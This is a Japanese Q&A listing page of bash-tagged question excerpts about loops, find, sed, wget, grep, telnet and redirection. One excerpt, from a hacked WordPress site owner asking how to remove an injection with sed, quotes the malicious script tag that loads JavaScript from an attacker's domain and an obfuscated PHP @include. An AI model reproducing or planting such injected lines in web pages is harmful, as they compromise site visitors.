タグ付けされた質問 「bash」

Bashコマンドシェル用に記述されたスクリプトに関する質問。エラー/構文エラーのあるシェルスクリプトについては、ここに投稿する前に、shellcheckプログラム(またはhttps://shellcheck.netのWeb shellcheckサーバー)で確認してください。Bashのインタラクティブな使用に関する質問は、スタックオーバーフローよりもスーパーユーザーで話題になる可能性が高くなります。

2
バックグラウンドジョブをループする
bashのforループでバックグラウンドジョブを実行しようとしています: for i in $(seq 3); do echo $i ; sleep 2 & ; done エラーが発生します: bash: syntax error near unexpected token `;' zshでは、コマンドラインが機能します。
81 bash 


8
特定の拡張子を持つファイルを再帰的に検索する
特定の拡張子を持つファイルを見つけようとしています。たとえば、Robertという名前のすべての.pdfファイルと.jpgファイルを検索したい 私はこのコマンドを実行できることを知っています $ find . -name '*.h' -o -name '*.cpp' ただし、拡張子以外にファイル自体の名前を指定する必要があります。ファイル名を何度も書かないようにする方法があるかどうかを確認したいだけです。ありがとうございます。
81 linux  bash 

9
ターミナルを使用してMacOS XでCプログラムを実行するにはどうすればよいですか?
私はCを初めて使用します。これが私の「Hello、world!」です。プログラム。 #include <stdio.h> int main(void) { printf("Hello, world!\n"); return 0; } ターミナルを使用して実行しようとすると、次のように表示されます。 MacBook-Pro-MacBook:~ macbook$ /Users/macbook/Desktop/peng/Untitled1 -bash: /Users/macbook/Desktop/peng/Untitled1: Permission denied MacBook-Pro-MacBook:~ macbook$ どうして?
81 c  macos  bash 

11
特定のテキストファイルからすべての空白を削除する方法
特定のテキストファイルからすべての空白を削除したいと思います。これに使用できるシェルコマンドはありますか?または、sedこの目的での使用方法。 私は以下のようなものが欲しいです: $ cat hello.txt | sed...。 私はこれを試しました:。cat hello.txt | sed 's/ //g'しかし、それはタブではなくスペースだけを削除します。
81 linux  bash  sed 

9
wgetプログレスバーのみを表示するにはどうすればよいですか?
例えば: wget http://somesite.com/TheFile.jpeg downloading: TheFile.tar.gz ... --09:30:42-- http://somesite.com/TheFile.jpeg => `/home/me/Downloads/TheFile.jpeg' Resolving somesite.co... xxx.xxx.xxx.xxx. Connecting to somesite.co|xxx.xxx.xxx.xxx|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1,614,820 (1.5M) [image/jpeg] 25% [======> ] 614,424 173.62K/s ETA 00:14 どうすればこのように見せることができますか downloading: TheFile.jpeg ... 25% [======> ] 614,424 173.62K/s ETA 00:14 私はcurlがそれを行うことができることを知っています、しかし私はその仕事をするためにwgetを取得する必要があります。
81 linux  bash  wget  sh 


12
可能な限り最速のgrep
ロックされています。この質問はトピックから外れていますが、歴史的に重要であるため、この質問とその回答はロックされています。現在、新しい回答ややり取りは受け付けていません。 grepできるだけ早くするためのヒントがあるかどうか知りたいのですが。私は可能な限り迅速な方法で検索するためにかなり大きなテキストファイルのベースを持っています。-iオプションを取り除くことができるように、すべて小文字にしました。これにより、検索がはるかに高速になります。 また、私はことを発見した-Fと-Pモードが速く、デフォルトよりもあります。検索文字列が正規表現ではない場合(プレーンテキストのみ)は前者を使用し、正規表現が含まれる場合は後者を使用します。 誰かがスピードアップの経験がありgrepますか?たぶん、特定のフラグを使用して最初からコンパイルしたり(Linux CentOSを使用しています)、特定の方法でファイルを整理したり、何らかの方法で検索を並行させたりしますか?
80 bash  unix  grep 

11
bashスクリプトを使用したtelnetセッションの自動化
私は、Bashスクリプトを使用して、いくつかのtelnet関連タスクの自動化に取り組んでいます。自動化されると、ユーザーとTelnetとの対話はなくなります。(つまり、完全に自動化されます) スクリプトは次のようになります。 # execute some commands on the local system # access a remote system with an IP address: 10.1.1.1 (for example) telnet 10.1.1.1 # execute some commands on the remote system # log all the activity (in a file) on the Local system # exit telnet # continue on …
80 linux  bash  telnet 

3
バイナリファイルの最初の10バイトのみを取得する方法
ファイルのヘッダー(最初の10バイト)を取得してから、別のセクションで最初の10バイトを除くすべてを取得する必要があるbashスクリプトを作成しています。これらはバイナリファイルであり、最初の10バイト全体に「」\0と\n「」が含まれる可能性があります。ほとんどのユーティリティはASCIIファイルで動作するようです。このタスクを達成するための良い方法は何ですか?
80 bash  binary 

3
'#'文字をコマンドライン引数として渡すことができません
で始まる文字列#をコマンドライン引数として渡すことはできません。 ここに簡単なテストがあります: #include <stdio.h> int main(int argc, char *argv[]) { for (int i = 1; i < argc; i++) printf("%s ", argv[i]); putchar('\n'); return 0; } 次のように引数を入力すると、 2 4 # 5 6 argcis の値3とnot の値6。読み#、そこで停止します。なぜなのかわからないし、Cプログラミング言語とCプライマープラスのコピーにも答えがありません。

1
3>&1は4>&3 5>&3などを意味しますか?
期待する echo foo | tee /proc/self/fd/{3..6} 3>&1 / proc / self / fd / 4のようなエラーで失敗する:そのようなファイルやディレクトリなどはありませんが、驚いたことに、それは出力します foo foo foo foo foo それ3>&1は私が3他のものに変更した場合に機能しないことを除いて、以下のすべての記述子が標準出力にリダイレクトされるようです $ echo foo | tee /proc/self/fd/{3..6} 4>&1 tee: /proc/self/fd/3: No such file or directory tee: /proc/self/fd/5: No such file or directory tee: /proc/self/fd/6: No such file or directory foo …

7
現在のシェルコマンドを実行せずに編集するにはどうすればよいですか?
"edit-and-execute-command(Cx Ce)"を使用してエディターを使用してコマンドを編集および実行する方法についてはかなり多くの情報があるようですが、私が達成したいのは、現在のシェルコマンドを取得して適用することです特定のフィルタリング(スクリプトを使用)してから、実行前に、承認/手動変更を求めるプロンプトに戻ります。これはbashで可能ですか?
13 bash 

7
sedまたはおそらくgrepを使用して文字列全体を置き換える方法
サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 私は使用してgrepでそれを検索しました grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。 そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。 @Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。 @slyblotyの解決策は簡単で、うまくいきましたが。 影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには find . -type f …
10 bash  shell  sed  grep 

1
空の文字列になるパラメーター展開の扱いが異なります
更新 で誰かバグbashのメーリングリストがいる確認し、これはバグです。 誰かが興味を持っている場合は、devel branchの最新のコミットで修正を利用できます。 ながら bash -c 'echo "${1##*""}"' _ bar 空の行を出力し、 bash -c 'echo "${1##*"${1##*}"}"' _ bar プリントbar。 分かりません。${1##*}空の文字列に展開されるため、"${1##*}"そのまま扱う必要があります""が、bashはそうは思わないようです。 他の一般的なsh実装の中で、これについてコンセンサスがあるようです: $ sh -c 'echo "${1##*"${1##*}"}"' _ bar $ ash -c 'echo "${1##*"${1##*}"}"' _ bar $ dash -c 'echo "${1##*"${1##*}"}"' _ bar $ ksh -c 'echo "${1##*"${1##*}"}"' _ bar $ …
10 bash 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.